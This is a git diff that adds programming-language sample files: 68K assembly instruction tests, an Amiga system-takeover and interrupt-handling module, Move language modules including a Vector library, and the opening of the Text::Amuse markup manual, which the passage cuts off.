+    moveq   #-1,D0
+    lsr.w   #3,D0
+    moveq   #-10,D0
+    ror.w   #8,D0
+    moveq   #-128,D0
+    roxr.w  #3,D0
+    
+    moveq   #$55,D0
+    asr.l   #3,D0
+    moveq   #-1,D0
+    lsr.l   #3,D0
+    moveq   #-10,D0
+    ror.l   #8,D0
+    moveq   #-128,D0
+    roxr.l  #3,D0
+
+    moveq   #$55,D0
+    asl.b   #3,D0
+    moveq   #-1,D0
+    lsl.b   #3,D0
+    moveq   #-10,D0
+    rol.b   #8,D0
+    moveq   #-128,D0
+    roxl.b  #3,D0
+    
+    moveq   #$55,D0
+    asl.w   #3,D0
+    moveq   #-1,D0
+    lsl.w   #3,D0
+    moveq   #-10,D0
+    rol.w   #8,D0
+    moveq   #-128,D0
+    roxl.w  #3,D0
+    
+    moveq   #$55,D0
+    asl.l   #3,D0
+    moveq   #-1,D0
+    lsl.l   #3,D0
+    moveq   #-10,D0
+    rol.l   #8,D0
+    moveq   #-128,D0
+    roxl.l  #3,D0
+    rts
+
+    ; Shifts register tests
+    ;----------------------
+shiftr_test:
+    moveq   #$55,D0
+    moveq   #1,D1
+    asr.b   D1,D0
+    moveq   #-1,D0
+    moveq   #3,D1
+    lsr.b   D1,D0
+    moveq   #-10,D0
+    moveq   #5,D1
+    ror.b   D1,D0
+    moveq   #-128,D0
+    moveq   #7,D1
+    roxr.b  D1,D0
+    
+    moveq   #$55,D0
+    moveq   #9,D1
+    asr.w   D1,D0
+    moveq   #-1,D0
+    moveq   #11,D1
+    lsr.w   D1,D0
+    moveq   #-10,D0
+    moveq   #13,D1
+    ror.w   D1,D0
+    moveq   #-128,D0
+    moveq   #15,D1
+    roxr.w  D1,D0
+    
+    moveq   #$55,D0
+    moveq   #17,D1
+    asr.l   D1,D0
+    moveq   #-1,D0
+    moveq   #19,D1
+    lsr.l   D1,D0
+    moveq   #-10,D0
+    moveq   #21,D1
+    ror.l   D1,D0
+    moveq   #-128,D0
+    moveq   #23,D1
+    roxr.l  D1,D0
+
+    moveq   #$55,D0
+    moveq   #1,D1
+    asl.b   D1,D0
+    moveq   #-1,D0
+    moveq   #3,D1
+    lsl.b   D1,D0
+    moveq   #-10,D0
+    moveq   #5,D1
+    rol.b   D1,D0
+    moveq   #-128,D0
+    moveq   #7,D1
+    roxl.b  D1,D0
+    
+    moveq   #$55,D0
+    moveq   #9,D1
+    asl.w   D1,D0
+    moveq   #-1,D0
+    moveq   #11,D1
+    lsl.w   D1,D0
+    moveq   #-10,D0
+    moveq   #13,D1
+    rol.w   D1,D0
+    moveq   #-128,D0
+    moveq   #15,D1
+    roxl.w  D1,D0
+    
+    moveq   #$55,D0
+    moveq   #17,D1
+    asl.l   D1,D0
+    moveq   #-1,D0
+    moveq   #19,D1
+    lsl.l   D1,D0
+    moveq   #-10,D0
+    moveq   #21,D1
+    rol.l   D1,D0
+    moveq   #-128,D0
+    moveq   #23,D1
+    roxl.l  D1,D0
+    rts
+
+    ; Shifts memory tests
+    ;--------------------
+shiftm_test:
+    lea     $8000.l,A0
+    moveq   #8,D1
+
+    move.l  #$5555AAAA,(A0)
+    asr     (A0)+
+    asr     (A0)
+    asr     -(A0)
+    asr     2(A0)
+    asr     -6(A0,D1.w)
+    asr     $7000.w
+    asr     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    lsr     (A0)+
+    lsr     (A0)
+    lsr     -(A0)
+    lsr     2(A0)
+    lsr     -6(A0,D1.w)
+    lsr     $7000.w
+    lsr     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    ror     (A0)+
+    ror     (A0)
+    ror     -(A0)
+    ror     2(A0)
+    ror     -6(A0,D1.w)
+    ror     $7000.w
+    ror     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    roxr    (A0)+
+    roxr    (A0)
+    roxr    -(A0)
+    roxr    2(A0)
+    roxr    -6(A0,D1.w)
+    roxr    $7000.w
+    roxr    $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    asl     (A0)+
+    asl     (A0)
+    asl     -(A0)
+    asl     2(A0)
+    asl     -6(A0,D1.w)
+    asl     $7000.w
+    asl     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    lsl     (A0)+
+    lsl     (A0)
+    lsl     -(A0)
+    lsl     2(A0)
+    lsl     -6(A0,D1.w)
+    lsl     $7000.w
+    lsl     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    rol     (A0)+
+    rol     (A0)
+    rol     -(A0)
+    rol     2(A0)
+    rol     -6(A0,D1.w)
+    rol     $7000.w
+    rol     $8000.l
+
+    move.l  #$5555AAAA,(A0)
+    roxl    (A0)+
+    roxl    (A0)
+    roxl    -(A0)
+    roxl    2(A0)
+    roxl    -6(A0,D1.w)
+    roxl    $7000.w
+    roxl    $8000.l
+    
+    rts
+    ; DBcc tests
+    ;-----------
+dbcc_test:
+    moveq   #3,d0
+.loop1
+    dbra    d0,.loop1
+    
+    moveq   #3,d0
+.loop2
+    move    #%0101,CCR
+    dbhi    d0,.loop2
+    
+    moveq   #3,d0
+.loop3
+    move    #%0000,CCR
+    dbhi    d0,.loop3
+    
+    moveq   #3,d0
+.loop4
+    move    #%0101,CCR
+    dbls    d0,.loop4
+    
+    moveq   #3,d0
+.loop5
+    move    #%0000,CCR
+    dbls    d0,.loop5
+    
+    moveq   #3,d0
+.loop6
+    move    #%0001,CCR
+    dbcc    d0,.loop6
+    
+    moveq   #3,d0
+.loop7
+    move    #%0000,CCR
+    dbcc    d0,.loop7
+    
+    moveq   #3,d0
+.loop8
+    move    #%0001,CCR
+    dbcs    d0,.loop8
+    
+    moveq   #3,d0
+.loop9
+    move    #%0000,CCR
+    dbcs    d0,.loop9
+    
+    moveq   #3,d0
+.loop10
+    move    #%0100,CCR
+    dbne    d0,.loop10
+
+    moveq   #3,d0
+.loop11
+    move    #%0000,CCR
+    dbne    d0,.loop11
+
+    moveq   #3,d0
+.loop12
+    move    #%0100,CCR
+    dbeq    d0,.loop12
+
+    moveq   #3,d0
+.loop13
+    move    #%0000,CCR
+    dbeq    d0,.loop13
+
+    moveq   #3,d0
+.loop14
+    move    #%0001,CCR
+    dbvc    d0,.loop14
+
+    moveq   #3,d0
+.loop15
+    move    #%0000,CCR
+    dbvc    d0,.loop15
+
+    moveq   #3,d0
+.loop16
+    move    #%0001,CCR
+    dbvs    d0,.loop16
+
+    moveq   #3,d0
+.loop17
+    move    #%0000,CCR
+    dbvs    d0,.loop17
+
+    moveq   #3,d0
+.loop18
+    move    #%1000,CCR
+    dbpl    d0,.loop18
+
+    moveq   #3,d0
+.loop19
+    move    #%0000,CCR
+    dbpl    d0,.loop19
+
+    moveq   #3,d0
+.loop20
+    move    #%1000,CCR
+    dbmi    d0,.loop20
+
+    moveq   #3,d0
+.loop21
+    move    #%0000,CCR
+    dbmi    d0,.loop21
+
+    moveq   #3,d0
+.loop22
+    move    #%1010,CCR
+    dbge    d0,.loop22
+
+    moveq   #3,d0
+.loop23
+    move    #%0000,CCR
+    dbge    d0,.loop23
+
+    moveq   #3,d0
+.loop24
+    move    #%1000,CCR
+    dblt    d0,.loop24
+
+    moveq   #3,d0
+.loop25
+    move    #%0000,CCR
+    dblt    d0,.loop25
+
+    moveq   #3,d0
+.loop26
+    move    #%1010,CCR
+    dbgt    d0,.loop26
+
+    moveq   #3,d0
+.loop27
+    move    #%0000,CCR
+    dbgt    d0,.loop27
+
+    moveq   #3,d0
+.loop28
+    move    #%0100,CCR
+    dble    d0,.loop28
+
+    moveq   #3,d0
+.loop29
+    move    #%0000,CCR
+    dble    d0,.loop29
+
+    rts
+    ; Bcc tests
+    ;-----------
+bcc_test:
+    move    #%0000,CCR
+    bhi     .next0
+    rts
+.next0
+    move    #%0001,CCR
+    bls     .next1
+    rts
+.next1
+    move    #%0000,CCR
+    bcc     .next2
+    rts
+.next2
+    move    #%0001,CCR
+    bcs     .next3
+    rts
+.next3
+    move    #%0000,CCR
+    bne     .next4
+    rts
+.next4
+    move    #%0100,CCR
+    beq     .next5
+    rts
+.next5
+    move    #%0000,CCR
+    bvc     .next6
+    rts
+.next6
+    move    #%0010,CCR
+    bvs     .next7
+    rts
+.next7
+    move    #%0000,CCR
+    bpl     .next8
+    rts
+.next8
+    move    #%1000,CCR
+    bmi     .next9
+    rts
+.next9
+    move    #%1010,CCR
+    bge     .next10
+    rts
+.next10
+    move    #%1000,CCR
+    blt     .next11
+    rts
+.next11
+    move    #%1010,CCR
+    bgt     .next12
+    rts
+.next12
+    move    #%0100,CCR
+    ble     .next13
+    rts
+.next13
+    rts
+    ; Scc tests
+    ;-----------
+scc_test:
+    lea     $8000.l,A0
+    moveq   #1,D1
+    
+    st      d0
+    
+    move    #%0101,CCR
+    shi     (a0)
+    move.b  (a0),d0
+    
+    andi    #%1010,CCR  ;%0000
+    shi     (a0)+
+    move.b  -1(a0),d0
+    
+    ori     #%0101,CCR  ;%0101
+    sls     -1(a0)
+    move.b  -1(a0),d0
+    
+    eori    #%0101,CCR  ;%0000
+    sls     -(a0)
+    move.b  (a0),d0
+    
+    move    #%0001,CCR
+    scc     1(a0,d1.w)
+    
+    andi    #%1110,CCR  ;%0000
+    scc     $8000.l
+    
+    ori     #%0001,CCR  ;%0001
+    scs     d0
+
+    eori    #%0001,CCR  ;%0000
+    scs     d0
+
+    move    #%0100,CCR
+    sne     d0
+
+    move    #%0000,CCR
+    sne     d0
+
+    move    #%0100,CCR
+    seq     d0
+
+    move    #%0000,CCR
+    seq     d0
+
+    move    #%0001,CCR
+    svc     d0
+
+    move    #%0000,CCR
+    svc     d0
+
+    move    #%0001,CCR
+    svs     d0
+
+    move    #%0000,CCR
+    svs     d0
+
+    move    #%1000,CCR
+    spl     d0
+
+    move    #%0000,CCR
+    spl     d0
+
+    move    #%1000,CCR
+    smi     d0
+
+    move    #%0000,CCR
+    smi     d0
+
+    move    #%1010,CCR
+    sge     d0
+
+    move    #%0000,CCR
+    sge     d0
+
+    move    #%1000,CCR
+    slt     d0
+
+    move    #%0000,CCR
+    slt     d0
+
+    move    #%1010,CCR
+    sgt     d0
+
+    move    #%0000,CCR
+    sgt     d0
+
+    move    #%0100,CCR
+    sle     d0
+
+    move    #%0000,CCR
+    sle     d0
+
+    rts
diff --git a/samples/Motorola 68K Assembly/system.s b/samples/Motorola 68K Assembly/system.s
new file mode 100644
index 0000000000..d7d96efbdc
--- /dev/null
+++ b/samples/Motorola 68K Assembly/system.s	
@@ -0,0 +1,384 @@
+;;; Created by Miguel Mendez.
+;;; This file is public domain.
+	
+	section text
+	public _installLevel2
+	public _installLevel3
+	public _ciab_start
+	public _ciab_stop
+	public _closeOS
+	public _getKeyPress
+	public _restoreOS
+	public _getMasterTimer
+	public _resetMasterTimer
+	public _mouse_left
+	public _mouse_right
+	public _mousePressL
+	public _mousePressR
+	public _mousePosX
+	public _mousePosY
+	public _serialPutc
+	
+LVOOpenLibrary EQU -552
+LVOCloseLibrary EQU -414	
+LVOWaitBlitt EQU -228
+LVODisownBlitter EQU -462 
+LVOOwnBlitter EQU -456
+LVOLoadView EQU -222
+LVOWaitTOF EQU	-270
+LVOForbid EQU -132
+LVOPermit EQU -138
+SERDAT EQU $dff030
+SERDATR EQU $dff018
+CIAB EQU $bfd000
+CIAA EQU $bfe001
+CIASDR EQU $0C00
+CIAA_CRA EQU $e00
+CIAB_CRA EQU $e00
+CIAA_ICR EQU $d00
+CIAB_ICR EQU $d00
+CIAB_TALO EQU $400
+CIAB_TAHI EQU $500
+CIAICRB_SP	  EQU	3
+INTB_PORTS     EQU   (3)
+INTF_PORTS     EQU   (1<<3)
+INTREQR EQU $1e
+INTREQ EQU $9c
+CIACRAF_SPMODE	  EQU	(1<<6)
+VHPOSR	    EQU   $006
+
+	
+_closeOS:
+	movem.l	d0-a6, -(sp)
+	move.l  $6c(a0),_int3save               ; store original vblank int
+	move.l	$68(a0),_int2save		; store original level 2 int
+	
+	lea     gfx_lib,a1      ; open graphics.library
+        moveq   #0,d0
+        move.l  4.w,a6          ; exec base
+        jsr     LVOOpenLibrary(a6)
+
+        move.l  d0,_gfxbase     ; store open gfxlibrary pointer
+        move.l  d0,a6
+        move.l  38(a6),_oldcopper       ; store old copper list address
+        move.l  34(a6),_oldview         ; store old WB view.
+
+        jsr     LVOWaitBlitt(a6)
+        jsr     LVOOwnBlitter(a6)        ; _LVOOwnBlitter                
+        jsr     LVOWaitBlitt(a6)        ; _LVOWaitBlitt
+
+        moveq   #0,d7
+        move.l  d7,a1
+
+        jsr     LVOLoadView(a6)        ; _LVOLoadView(Null)
+        jsr     LVOWaitTOF(a6)        ; _LVOWaitTOF
+        jsr     LVOWaitTOF(a6)        ; _LVOWaitTOF
+
+	move.l  4.w,a6
+        jsr     LVOForbid(a6)        ; _LVOForbid
+	
+        move.w    $DFF01C,_intenar
+        move.w    $DFF01E,_intreqr
+        move.w    $DFF002,_dmaconr
+        move.w    $DFF010,_adkconr
+
+	move.w    #%0111111111111111,$DFF09A      ; Intena
+
+	lea	CIAA, a4	; save CIAA registers and setup
+	move.b	CIAA_CRA(a4), _ciaa_cra
+	move.b 	CIAA_ICR(a4), _ciaa_icr
+	
+	lea     CIAB, a4	; save CIAB registers and setup 
+	move.b  CIAB_CRA(a4), _ciab_cra
+	move.b  CIAB_ICR(a4), _ciab_icr
+
+	move.b  _ciab_cra, d0
+	and.b   #%11000000,d0           ;Don't trash bits we are not
+        or.b    #%00001000,d0           ;using...
+	move.b  d0, CIAB_CRA(a4)
+	move.b  #%01111111, CIAB_ICR(a4)
+	move.b  CIAB_TALO(a4), _ciab_ta_lo
+	move.b  CIAB_TAHI(a4), _ciab_ta_hi
+	
+	move.w    #%1110000000100000,$DFF09A      ; enable needed IRQs
+
+        move.l  _gfxbase,a6
+        jsr     LVOWaitTOF(a6)        ; WaitTOF
+
+	move.w    #%0111111111111111,$DFF096      ; DMACONW
+	move.w    #%1000001111000000,$DFF096
+
+	;; bsr	_setupFPCR
+
+	movem.l	(sp)+,d0-a6
+	moveq #0, d0
+	rts
+
+_restoreOS:
+	movem.l	d0-a6,-(sp)
+
+	;; bsr	_restoreFPCR
+
+	lea	CIAA, a4	; restore CIAA registers
+	move.b	_ciaa_cra, CIAA_CRA(a4)
+	nop
+	move.b	_ciaa_icr, CIAA_ICR(a4)
+	nop
+	
+	lea     CIAB, a4    ; restore CIAB registers
+	move.b  _ciab_ta_lo, CIAB_TALO(a4)
+	nop
+	move.b  _ciab_ta_hi, CIAB_TAHI(a4)
+	nop
+	move.b  _ciab_cra, CIAB_CRA(a4)
+	nop
+	move.b  _ciab_icr, CIAB_ICR(a4)
+	nop
+	
+	move.l  _int3save,$6c(a0)       ; restore old level3 int.
+
+	move.l	_int2save,$68(a0) 	;restore old level2 int.
+
+        move    _intenar,d7
+        bset    #$f,d7
+        move    d7,$DFF09A              ; restore old interrupts.
+
+
+        move    _intreqr,d7
+        bset    #$f,d7
+        move    d7,$DFF09C              ; the same...   
+        
+        move    _dmaconr,d7
+        bset    #$f,d7
+        move    d7,$DFF096              ; restore old DMAs
+
+        move    _adkconr,d7
+        bset    #$f,d7
+        move    d7,$DFF09E              ; restore Adkcon
+
+        move.l  _gfxbase,a6
+        move.l  _oldview,a1
+        jsr     LVOLoadView(a6)         ; _LVOLoadview(OldView)
+
+        move.l  _oldcopper,$dff080      ; restore old copper list.
+
+	jsr     LVODisownBlitter(a6)    ; _LVODisownBlitter
+
+        move.l  4.w,a6
+        move.l  _gfxbase,a1
+        jsr     LVOCloseLibrary(a6)     ; close graphics.library
+
+        jsr     LVOPermit(a6)           ; _LVOPermit
+	movem.l	(sp)+,d0-a6
+	moveq #0, d0
+        rts
+
+; Clear DZ bit --> return infinity when dividing by zero.
+; Infinity is supported in hardware in 040 and 060,
+; and the register can be read and written in user mode.
+; See pages 6-3,  6-4, 6-7 and 6-32 in 68060 manual.
+_setupFPCR:
+	fmove.l	fpcr,d0
+	move.l	d0,_fpcr
+	; clear DA
+	not.l	d0
+	or.l	#$00000400,d0
+	not.l	d0
+	; set round-to-zero (01)
+	not.l	d0
+	or.l	#$00000030,d0
+	not.l	d0
+	or.l	#$00000010,d0
+	; set always single (01)
+	;not.l	d0
+	;or.l	#$000000c0,d0
+	;not.l	d0
+	;or.l	#$00000040,d0
+	fmove.l	d0,fpcr
+	rts
+
+_restoreFPCR:
+	move.l	_fpcr,d0
+	fmove.l	d0,fpcr
+	moveq.l	#0,d0
+	rts
+
+_installLevel3:
+	move.l a1, _vblcallback
+	move.l a2, _vblcallback2
+	lea Level3(pc), a1
+	move.l a1, $6c(a0)
+	rts
+
+_installLevel2:
+	lea Level2(pc), a1
+	
+	move.l a1, $68(a0)
+	nop
+	nop
+	move.w    #%1000000000001000,$DFF09A ; enable level2 IRQ
+	rts
+	
+_mousePressL:
+	moveq.l	#0,d0
+	btst	#6,$bfe001
+	seq	d0
+	rts
+
+_mousePressR:
+	moveq.l	#0,d0
+	btst	#10,$dff016
+	seq	d0
+	rts
+
+_mousePosX:
+_mousePosY:
+    moveq   #0,d0
+    rts
+
+Level3:
+	movem.l	d0-d7/a0-a6,-(sp)
+	lea $dff000,a6
+	move.w $dff01e,d0 ; intreq-read
+	btst #5,d0 ; Vertical Blanc?
+	bne .vertb
+	btst #6,d0 ; Blitter
+	bne .blit
+	bra .quitL3
+
+;--- Blitter
+.blit:
+	move.w #$4040,$dff09c
+	move.w #$4040,$dff09c
+	bra .quitL3
+
+;--- Vertical Blank
+.vertb:
+	addq.l #1, _master_timer ; increase timer by 1
+	move.w #$4020,$dff09c
+	move.w #$4020,$dff09c
+	move.l _vblcallback, a5	; Paula replay callback.
+    cmp.l   #0,a5
+    beq     .skip_callback1
+	jsr (a5)
+.skip_callback1
+	move.l _vblcallback2, a5 ; Lerp callback.
+    cmp.l   #0,a5
+    beq     .quitL3
+	jsr (a5)
+	bra.w .quitL3
+.quitL3:
+	movem.l	(sp)+,d0-d7/a0-a6
+	nop
+	nop
+	rte 
+	
+Level2:
+	movem.l d0-d1/a0-a2, -(sp)
+	lea $dff000,a0
+	move.w INTREQR(a0), d0
+	btst #INTB_PORTS, d0
+	beq l2_end
+
+	lea CIAA, a1
+	btst #CIAICRB_SP, CIAA_ICR(a1)
+	beq l2_end
+
+	move.b	CIASDR(a1),d0
+	or.b	#CIACRAF_SPMODE,CIAA_CRA(a1)
+	not.b	d0
+	ror.b	#1,d0
+	move.b  d0, _rawkey
+	
+	;handshake
+	moveq	#3-1,d1
+.wait1	move.b	VHPOSR(a0),d0
+.wait2	cmp.b	VHPOSR(a0),d0
+	beq	.wait2
+	dbf	d1,.wait1
+
+	;set input mode
+	and.b	#~(CIACRAF_SPMODE),CIAA_CRA(a1)
+
+l2_end:	move.w	#INTF_PORTS, INTREQ(a0)
+	tst.w	INTREQR(a0)
+	movem.l	(sp)+,d0-d1/a0-a2
+	nop
+	nop
+	rte
+
+_getKeyPress:
+	moveq 	#0, d0
+	moveq   #0, d1
+	move.b  _rawkey, d0
+	move.b  d1, _rawkey
+	rts
+	
+_getMasterTimer:
+	move.l  _master_timer,d0
+	rts
+
+_resetMasterTimer:
+	moveq.l #0,d0
+	move.l d0, _master_timer
+	rts
+
+_serialPutc:
+	move.w SERDATR, d1
+	btst   #13, d1
+	beq.s  _serialPutc  	; Wait for character to finish
+	and.b  #$7f, d1
+	cmp.b  #$18, d1 	; Ctrl-X?
+	beq.s  spc_exit
+	cmp.b  #$13, d1		; Ctrl-S?
+	beq.s  _serialPutc
+	and.w  #$ff, d0
+	or.w   #$100, d0
+	move.w d0, SERDAT
+spc_exit:
+	rts
+
+_ciab_start:
+	lea CIAB, a0
+	move.b #$ff, CIAB_TALO(a0)
+	nop
+	move.b #$ff, CIAB_TAHI(a0)
+	nop
+	bset.b #0, CIAB_CRA(a0)
+	rts
+
+_ciab_stop:
+	lea    CIAB, a0
+	bclr.b #0, CIAB_CRA(a0)
+	moveq #0, d0
+	move.b CIAB_TAHI(a0), d0
+	lsl.w #8, d0
+	move.b CIAB_TALO(a0), d0
+	rts
+	
+	section data, data
+
+gfx_lib         dc.b "graphics.library",0,0
+_vblcallback	dc.l	0
+_vblcallback2	dc.l	0	
+_vbr  	 	dc.l 	0	
+_fpcr		dc.l	0
+_gfxbase        dc.l    0
+_oldcopper      dc.l    0
+_oldview        dc.l    0
+_intenar        dc.w    0
+_intreqr        dc.w    0
+_dmaconr        dc.w    0
+_adkconr        dc.w    0
+_int2save	dc.l	0	
+_int3save       dc.l    0
+_master_timer	dc.l	0
+_mouse_left	dc.l	0
+_mouse_right	dc.l	0	
+_ciab_ta_lo     dc.b    0
+_ciab_ta_hi     dc.b    0
+_ciab_icr       dc.b    0
+_ciaa_icr	dc.b	0	
+_ciab_cra       dc.b    0
+_ciaa_cra	dc.b	0	
+_rawkey 	dcb.b 	0
diff --git a/samples/Move/Main.move b/samples/Move/Main.move
new file mode 100644
index 0000000000..368eefb42b
--- /dev/null
+++ b/samples/Move/Main.move
@@ -0,0 +1,32 @@
+address 0x1 {
+module Main {
+
+    // added a dependency here!
+    use 0x1::Signer;
+    use 0x1::Vector;
+
+    struct Item has store, drop {}
+
+    struct Main has key, store {
+        items: vector<Item>
+    }
+
+
+    /// get collection size
+    /// mind keyword acquires!
+    public fun size(account: &signer): u64 acquires Main {
+        let owner = Signer::address_of(account);
+        let collection = borrow_global<Main>(owner);
+
+        Vector::length(&collection.items)
+    }
+
+    fun type_test() {
+        let _bool: bool = true;
+        let _bool: bool = false;
+        let _u8: u8 = 1;
+        let _u64: u64 = 1;
+        let _u128: u128 = 1;
+    }
+}
+}
\ No newline at end of file
diff --git a/samples/Move/Vector.move b/samples/Move/Vector.move
new file mode 100644
index 0000000000..327768503c
--- /dev/null
+++ b/samples/Move/Vector.move
@@ -0,0 +1,229 @@
+address StarcoinFramework {
+
+/// A variable-sized container that can hold any type. Indexing is 0-based, and
+/// vectors are growable. This module has many native functions.
+/// Verification of modules that use this one uses model functions that are implemented
+/// directly in Boogie. The specification language has built-in functions operations such
+/// as `vec`. There are some helper functions defined here for specifications in other
+/// modules as well.
+///
+/// >Note: We did not verify most of the
+/// Move functions here because many have loops, requiring loop invariants to prove, and
+/// the return on investment didn't seem worth it for these simple functions.
+module Vector {
+
+    /// The index into the vector is out of bounds
+    const EINDEX_OUT_OF_BOUNDS: u64 = 0;
+
+    /// Create an empty vector.
+    native public fun empty<Element>(): vector<Element>;
+
+    /// Return the length of the vector.
+    native public fun length<Element>(v: &vector<Element>): u64;
+
+    /// Acquire an immutable reference to the `i`th element of the vector `v`.
+    /// Aborts if `i` is out of bounds.
+    native public fun borrow<Element>(v: &vector<Element>, i: u64): &Element;
+
+    /// Add element `e` to the end of the vector `v`.
+    native public fun push_back<Element>(v: &mut vector<Element>, e: Element);
+
+    /// Return a mutable reference to the `i`th element in the vector `v`.
+    /// Aborts if `i` is out of bounds.
+    native public fun borrow_mut<Element>(v: &mut vector<Element>, i: u64): &mut Element;
+
+    /// Pop an element from the end of vector `v`.
+    /// Aborts if `v` is empty.
+    native public fun pop_back<Element>(v: &mut vector<Element>): Element;
+
+    /// Destroy the vector `v`.
+    /// Aborts if `v` is not empty.
+    native public fun destroy_empty<Element>(v: vector<Element>);
+
+    /// Swaps the elements at the `i`th and `j`th indices in the vector `v`.
+    /// Aborts if `i`or `j` is out of bounds.
+    native public fun swap<Element>(v: &mut vector<Element>, i: u64, j: u64);
+
+    /// Return an vector of size one containing element `e`.
+    public fun singleton<Element>(e: Element): vector<Element> {
+        let v = empty();
+        push_back(&mut v, e);
+        v
+    }
+    spec singleton {
+        // TODO: when using opaque here, we get verification errors.
+        // pragma opaque;
+        aborts_if false;
+        ensures result == vec(e);
+    }
+    spec fun spec_singleton<Element>(e: Element): vector<Element> {
+        vec(e)
+    }
+
+
+    /// Reverses the order of the elements in the vector `v` in place.
+    public fun reverse<Element>(v: &mut vector<Element>) {
+        native_reverse(v)
+    }
+    spec reverse {
+        pragma intrinsic = true;
+    }
+    native fun native_reverse<Element>(this: &mut vector<Element>);
+
+    /// Pushes all of the elements of the `other` vector into the `lhs` vector.
+    public fun append<Element>(lhs: &mut vector<Element>, other: vector<Element>) {
+        native_append(lhs, other);
+    }
+    native fun native_append<Element>(lhs: &mut vector<Element>, other: vector<Element>);
+
+    spec append {
+        pragma intrinsic = true;
+    }
+    spec is_empty {
+        pragma intrinsic = true;
+    }
+
+
+    /// Return `true` if the vector `v` has no elements and `false` otherwise.
+    public fun is_empty<Element>(v: &vector<Element>): bool {
+        length(v) == 0
+    }
+
+    /// Return true if `e` is in the vector `v`.
+    public fun contains<Element>(v: &vector<Element>, e: &Element): bool {
+        let i = 0;
+        let len = length(v);
+        while (i < len) {
+            if (borrow(v, i) == e) return true;
+            i = i + 1;
+        };
+        false
+    }
+    spec contains {
+        pragma intrinsic = true;
+    }
+
+    /// Return `(true, i)` if `e` is in the vector `v` at index `i`.
+    /// Otherwise, returns `(false, 0)`.
+    public fun index_of<Element>(v: &vector<Element>, e: &Element): (bool, u64) {
+        let i = 0;
+        let len = length(v);
+        while (i < len) {
+            if (borrow(v, i) == e) return (true, i);
+            i = i + 1;
+        };
+        (false, 0)
+    }
+    spec index_of {
+        pragma intrinsic = true;
+    }
+
+    /// Remove the `i`th element of the vector `v`, shifting all subsequent elements.
+    /// This is O(n) and preserves ordering of elements in the vector.
+    /// Aborts if `i` is out of bounds.
+    public fun remove<Element>(v: &mut vector<Element>, i: u64): Element {
+        let len = length(v);
+        // i out of bounds; abort
+        if (i >= len) abort EINDEX_OUT_OF_BOUNDS;
+
+        native_remove(v, i)
+    }
+    spec remove {
+        pragma intrinsic = true;
+    }
+    native fun native_remove<Element>(this: &mut vector<Element>, i: u64): Element;
+
+    /// Swap the `i`th element of the vector `v` with the last element and then pop the vector.
+    /// This is O(1), but does not preserve ordering of elements in the vector.
+    /// Aborts if `i` is out of bounds.
+    public fun swap_remove<Element>(v: &mut vector<Element>, i: u64): Element {
+        let last_idx = length(v) - 1;
+        swap(v, i, last_idx);
+        pop_back(v)
+    }
+    spec swap_remove {
+        pragma intrinsic = true;
+    }
+
+    /// Split a vector into sub-vectors of size sub_len,
+    public fun split<Element: copy + drop + store>(v: &vector<Element>, sub_len: u64): vector<vector<Element>> {
+        let result = empty<vector<Element>>();
+        let len = length(v) / sub_len;
+
+        let rem = 0;
+        if (len * sub_len < length(v)) {
+            rem = length(v) - len * sub_len;
+        };
+
+        let i = 0;
+        while (i < len) {
+            let sub = empty<Element>();
+            let j = 0;
+            while (j < sub_len) {
+                let index = sub_len * i + j;
+                push_back(&mut sub, *borrow(v, index));
+                j = j + 1;
+            };
+            push_back<vector<Element>>(&mut result, sub);
+            i = i + 1;
+        };
+
+        if (rem > 0) {
+            let sub = empty<Element>();
+            let index = length(v) - rem;
+            while (index < length(v)) {
+                push_back(&mut sub, *borrow(v, index));
+                index = index + 1;
+            };
+            push_back<vector<Element>>(&mut result, sub);
+        };
+        result
+    }
+
+    spec split {
+        pragma verify = false; // timeout, skip
+        aborts_if sub_len == 0;
+    }
+     // =================================================================
+    // Module Specification
+
+    spec module {} // Switch to module documentation context
+
+    /// # Helper Functions
+
+
+    /// Check whether a vector contains an element.
+    spec fun spec_contains<Element>(v: vector<Element>, e: Element): bool {
+        exists x in v: x == e
+    }
+
+    /// Check if `v1` is equal to the result of adding `e` at the end of `v2`
+    spec fun eq_push_back<Element>(v1: vector<Element>, v2: vector<Element>, e: Element): bool {
+        len(v1) == len(v2) + 1 &&
+        v1[len(v1)-1] == e &&
+        v1[0..len(v1)-1] == v2[0..len(v2)]
+    }
+
+    /// Check if `v` is equal to the result of concatenating `v1` and `v2`
+    spec fun eq_append<Element>(v: vector<Element>, v1: vector<Element>, v2: vector<Element>): bool {
+        len(v) == len(v1) + len(v2) &&
+        v[0..len(v1)] == v1 &&
+        v[len(v1)..len(v)] == v2
+    }
+
+    /// Check `v1` is equal to the result of removing the first element of `v2`
+    spec fun eq_pop_front<Element>(v1: vector<Element>, v2: vector<Element>): bool {
+        len(v1) + 1 == len(v2) &&
+        v1 == v2[1..len(v2)]
+    }
+
+    /// Check that `v1` is equal to the result of removing the element at index `i` from `v2`.
+    spec fun eq_remove_elem_at_index<Element>(i: u64, v1: vector<Element>, v2: vector<Element>): bool {
+        len(v1) + 1 == len(v2) &&
+        v1[0..i] == v2[0..i] &&
+        v1[i..len(v1)] == v2[i + 1..len(v2)]
+    }
+
+}
+
+}
\ No newline at end of file
diff --git a/samples/Muse/manual.muse b/samples/Muse/manual.muse
new file mode 100644
index 0000000000..47e92f0e05
--- /dev/null
+++ b/samples/Muse/manual.muse
@@ -0,0 +1,2065 @@
+#pubdate 2018-01-28
+#title The Text::Amuse markup manual
+#lang en
+#topics doc, howto
+#authors Marco Pessotto, Michael Olson, John Wiegley
+#subtitle The writer’s guide
+#date 2018
+#teaser Everything you have to know about the Text::Amuse markup. Last
+ updated for version 0.97 (released on February 28, 2018).
+
+Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010 Free Software
+Foundation, Inc.
+
+     Permission is granted to copy, distribute and/or modify this
+     document under the terms of the GNU Free Documentation License,
+     Version 1.2 or any later version published by the Free Software
+     Foundation; with no Invariant Sections, no Front-Cover Texts, and
+     no Back-Cover Texts.  A copy of the license is included in the
+     section entitled “GNU Free Documentation License.”
+
+* The Muse markup
+
+A Muse document uses special, contextual markup rules to determine how
+to format the output result.  For example, if a paragraph is indented,
+Muse assumes it should be quoted. Indentation is heavily used to
+determine if the paragraph is something different from “normal” text.
+
+There are not too many markup rules, and all of them strive to be as
+simple as possible so that you can focus on document creation, rather
+than formatting.
+
+This document describes Muse, which was written by John
+Wiegley, then maintained by Michael Olson and heavily edited and partially rewritten for this
